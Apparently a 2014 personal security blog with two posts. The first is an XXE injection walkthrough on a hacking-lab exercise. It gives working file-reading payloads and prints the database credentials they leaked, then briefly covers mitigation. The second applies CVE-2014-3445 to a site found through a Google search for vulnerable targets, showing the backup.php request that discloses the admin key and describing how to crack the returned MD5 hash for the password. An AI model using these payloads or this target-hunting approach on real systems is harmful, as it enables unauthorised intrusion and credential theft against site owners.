aD

May 30, 2014

Practicing XXE


***DISCLAIMER ALL MY WORK HERE IS DONE AT WWW.HACKING-LAB.COM*****




    XML external entity injection vulnerabilities arise because the XML specification allows XML documents to define entities which reference resources external to the document. XML parsers typically support this feature by default, even though it is rarely required by applications during normal usage. External entities can reference files on the parser's filesystem; exploiting this feature may allow retrieval of arbitrary files, or denial of service by causing the server to read from a file such as /dev/random.

They can also reference URLs, exploiting this feature may allow port scanning from the XML parser's host, or the retrieval of sensitive web content which is otherwise inaccessible due to network topology and defenses.
   
    I performed this attack by testing the xml constructor by monitoring the connection to the search form using Zap. After submitting a test search, I monitored how it came out in Zap. I then proceeded to resend the packet with modified parameters.

The first injection I used to see if it was possible was the following
   
    < ?xml version="1.0" encoding="UTF-8" ? >
    < !DOCTYPE foo [
    < !ENTITY foo SYSTEM "file:///etc/passwd" >
    ] >
    < query >
            < result-limit >1&foo;< /result-limit >
            < bell-name >< /bell-name >
            < bell-description >< /bell-description >
    < /query >
   
    After which I tested to see if application was vulnerable to this type of attack, I began to try new folder locations looking for configurations files for the MYSQL database.  I started looking in the normal places /etc/my.cnf, root/.mycnf and so forth till I came across the properties page for the web application itself.
   
    I then proceeded to modified my injection parameters with this:
   
    < ?xml version="1.0" encoding="UTF-8" ? >
    < !DOCTYPE foo [
    < !ENTITY foo SYSTEM "file:///opt/applic/tomcat/webapps.properties/mysql.properties" >
    ] >
    < query>
            < result-limit >1&foo;< /result-limit >
            < bell-name >< /bell-name >
            < bell-description >< /bell-description >
    < /query >
   
    I inserted it back into ZAP and resent the packet and was returned the following.
   
    # MYSQL PROPERTIES - TIME IN SECONDS
################################################################
mysql.driver = org.gjt.mm.mysql.Driver

mysql.username = glockenemil
mysql.password = Nt88,.po

mysql.bells.url = jdbc:mysql://127.0.0.1:5506/glocken_emil?autoDeserialize=true
mysql.login.url = jdbc:mysql://127.0.0.1:5506/login
mysql.session.url = jdbc:mysql://127.0.0.1:5506/sessionservice

mysql.session.testquery =
mysql.login.testquery =
mysql.bells.testquery =

mysql.connections.max               = 100
mysql.connections.min               = 10
mysql.connections.increaserate      = 2
mysql.connections.timeout           = 120
mysql.connections.maxage            = 900

# LOGIN TABLE DEFS
#################################################################
mysql.tblLogin = users

mysql.fldAdditionalTime = additionaltime
mysql.fldReleaseTime = releasetime
mysql.fldUsername = username
mysql.fldTries = tries
contactForm = no
   
   
XML external entity injection makes use of the DOCTYPE tag to define the injected entity. XML parsers can usually be configured to disable support for this tag. You should consult the documentation for your XML parsing library to determine how to disable this feature. It may also be possible to use input validation to block input containing a DOCTYPE tag.

May 28, 2014

Application of CVE-2014-3445

Unauthenticated key return

This morning I happen to notice on Twitter a recent CVE release that provides a surprisingly easy attack vector to recover  a websites administrator password as long as its running the correct software.

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-3445/

“Vulnerability title: Unathenticated Backup and Password Disclosure in HandsomeWeb SOS Webpages"


“The default setup allows an unauthenticated user to access administrative functions such as backing up of key files within the CMS. This is done by appending the following to a domain using the software affected:

/backup.php?a=2&k=6f15afa1ac4edea0g145e884116334b7

Where “a” is the file number to back up and “k” is the MD5key used to authenticate the administrator, however if “k” does not match the correct key rather than disallowing the unauthenticated user to back up the file the service will provide the user with the correct key. 

For example:
Failure, wrong key. The right key is 5f17aca1ae2edea0f145e884116371a5

Using this new key in the url such as below:
/backup.php?a=2&k=5f17aca1ae2edea0f145e884116371a5 will allow the user to perform the backup of files.

In addition to this the key is generated by the code:
$backupkey=MD5

Making it trivial to decrypt the key provided above to gain the administrators password and gain further control over the site.”

This is surprisingly easy to accomplish.
Doing a quick search on Google provides plenty of targets


Here is a practice target:



I now have a target, and its page ID number
Simply modifying the provided CVE looks like this

WWW.TARGET_PRACTICE_WEBSITE.com/backup.php?9=2&k=6f15afa1ac4edea0g145e884116334b7

Returns this



As it returns a MD5 hash, its simply a matter of time to reverse the hash and recover the password